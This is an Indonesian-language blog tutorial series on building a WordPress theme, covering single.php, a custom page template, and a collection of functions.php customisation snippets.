Berikut adalah isi dari index.php renewal yang udah di refisi pada part 4,
<?php get_header()?>
<section id=”content”><!– #content –>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php endwhile; ?>
<?php endif; ?>

</section><!– end of #content –>
<?php get_sidebar(); ?><?php get_footer();?>

Nah sekarang tambah kan code pemanggil comment
Berikut code nya…
<?php comments_template(); ?>
Letakan sebelum endwhile, maka hasil akhirnya seperti ini…
<?php get_header()?>
<section id=”content”><!– #content –>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php comments_template(); ?>
<?php endwhile; ?>
<?php endif; ?>

</section><!– end of #content –>
<?php get_sidebar(); ?><?php get_footer();?>
Save code diatas dengan nama single.php,
Mudah kan.. oke sekarang mah belajarnye pendek pendek aje dulu ye.. cz takut muntah klo di jejelin bejibun code dalam sekali lahap, Pelan pelan aje ye, supaya tar kalian pada bisa dan berkarya dengan ilmu,,
So thats it for today..
I’ll teach you all in next meeting..
Have a great day, and see ya…
NB : keep learning and join us @ forum.binushacke.net

PART 7

Selamat malam semuanye… pa kabar nih?? bertemu lagi dengan angga a.k.a anggamovic, setelah kemaren kita buat file single.php sekarang kita akan membahas page.php

Sebenernye sama aja dengan single.php cuma page.php ini akan didipake sebagai default page yang kita buat.
Sekarang kita buka lagi file single.php nya.. dan copy semua source yang ada, copas ke file page.php
Maka file page.php akan menjadi seperti ini
<?php get_header()?>
<section id=”content”><!– #content –>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php comments_template(); ?>
<?php endwhile; ?>
<?php endif; ?>
</section><!– end of #content –>
<?php get_sidebar(); ?><?php get_footer();?>
Ada satu lagi trik di file page.php ini. ane nemu trik ini setelah beberapa waktu lalu ane mau buat page galery di blog ane, tapi rasanya canggung klo pake template page bawaan tema. makanya ane cari sumber lain dan ga jauh jauh.. ketemunye di instalan wordpress juga, tepatnye di tema bawaan wordpress.. nah hal yang perlu kalian tambahkan untuk membuat page yang kalian ingin kan dan pastinya beda dari page.php yang ada. silakan kalian modifikasi sebagus mungkin file page.php nya. setelah itu save as, ubah namanya terserah kalian, disini saya kasih contoh galery.php nah setelah itu kalian tambah kan code ini tepat di atas
<?php get_header();?>

Berikut codenya
<?php /*
Template Name: Galery
*/ ?>
Nah jadinya seperti ini

<?php /*
Template Name: Galery
*/ ?>

<?php get_header()?>
<section id=”content”><!– #content –>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php comments_template(); ?>
<?php endwhile; ?>
<?php endif; ?>
</section><!– end of #content –>
<?php get_sidebar(); ?><?php get_footer();?>

Oke untuk kostumasinya saya akan tampilkan jika tutorial ini sudah selesai dan tema hasil buatan kita ..
So have a nice day and nice day
Dont Forget To Join Forum BinusHacker :)
http://forum.binushacker.net

PART 8

Seperti yang sudah ane janjiin dulu di pagenya B|H di facebook bahwa ane akan bahas tentang functions.php di wordpress, nah pertemuan sekarang ane akan sedikit mengulas tentang functions.php, pada dasarnya functions.php adalah file yang berisi perintah tambahan untuk blog kita. dan disini kita bisa melakukan segala hal untuk blog kita. bisa dibilang ini adalah nyawa ketiga blog kita setelah hosting dan theme….

So lets begin
Completely remove the version number from pages and feeds
// remove version info from head and feeds
function complete_version_removal() {
return ”;
}
add_filter(‘the_generator’, ‘complete_version_removal’);
Customize the admin footer message
// customize admin footer text
function custom_admin_footer() {
echo ‘Website Design by Monzilla Media’;
}
add_filter(‘admin_footer_text’, ‘custom_admin_footer’);
Enable delete and spam links for comments
// spam & delete links for all versions of wordpress
function delete_comment_link($id) {
if (current_user_can(‘edit_post’)) {
echo ‘| del ‘;
echo ‘| spam’;
}
}
dan tambah kan ini di cooments loop nya
Disable all WordPress feeds
// disable all feeds
function fb_disable_feed() {
wp_die(__(‘

Feed not available, please visit our Home Page!

‘));
}
add_action(‘do_feed’, ‘fb_disable_feed’, 1);
add_action(‘do_feed_rdf’, ‘fb_disable_feed’, 1);
add_action(‘do_feed_rss’, ‘fb_disable_feed’, 1);
add_action(‘do_feed_rss2′, ‘fb_disable_feed’, 1);
add_action(‘do_feed_atom’, ‘fb_disable_feed’, 1);
Add feed links to header
// add feed links to header
if (function_exists(‘automatic_feed_links’)) {
automatic_feed_links();
} else {
return;
}
Enable threaded comments
// enable threaded comments
function enable_threaded_comments(){
if (!is_admin()) {
if (is_singular() AND comments_open() AND (get_option(‘thread_comments’) == 1))
wp_enqueue_script(‘comment-reply’);
}
}
add_action(‘get_header’, ‘enable_threaded_comments’);
Remove unwanted crap from the head section
// remove junk from head
remove_action(‘wp_head’, ‘rsd_link’);
remove_action(‘wp_head’, ‘wp_generator’);
remove_action(‘wp_head’, ‘feed_links’, 2);
remove_action(‘wp_head’, ‘index_rel_link’);
remove_action(‘wp_head’, ‘wlwmanifest_link’);
remove_action(‘wp_head’, ‘feed_links_extra’, 3);
remove_action(‘wp_head’, ‘start_post_rel_link’, 10, 0);
remove_action(‘wp_head’, ‘parent_post_rel_link’, 10, 0);
remove_action(‘wp_head’, ‘adjacent_posts_rel_link’, 10, 0);
Add a different favicon for your blog’s Admin area
// add a favicon for your admin
function admin_favicon() {
echo ”;
}
add_action(‘admin_head’, ‘admin_favicon’);
Custom Admin Login logo
// custom admin login logo
function custom_login_logo() {
echo ‘
h1 a { background-image: url(‘.get_bloginfo(‘template_directory’).’/images/custom-login-logo.png) !important; }
‘;
}
add_action(‘login_head’, ‘custom_login_logo’);
Disable unused widget areas
// disable all widget areas
function disable_all_widgets($sidebars_widgets) {
//if (is_home())
$sidebars_widgets = array(false);
return $sidebars_widgets;
}
add_filter(‘sidebars_widgets’, ‘disable_all_widgets’);
Kill the WordPress update nag
// kill the admin nag
if (!current_user_can(‘edit_users’)) {
add_action(‘init’, create_function(‘$a’, “remove_action(‘init’, ‘wp_version_check’);”), 2);
add_filter(‘pre_option_update_core’, create_function(‘$a’, “return null;”));
}
Sekarang tinggal di masukan kepada file functions.php dan walah,, jadilah tema yang selama ini jadi tutorial kita.. untuk demo nya menyusul ya, cz belum ane susun…

UPDATE Versi E-Book!

Buat yang menunggu versi ebook nya ini suadah saya buat kan, jadi silakan di dikmati. Dan untuk versi videonya sedang di garap.. so sabar :)
Dowload di Link Berikut untuk Ebooknya:

Show My Weather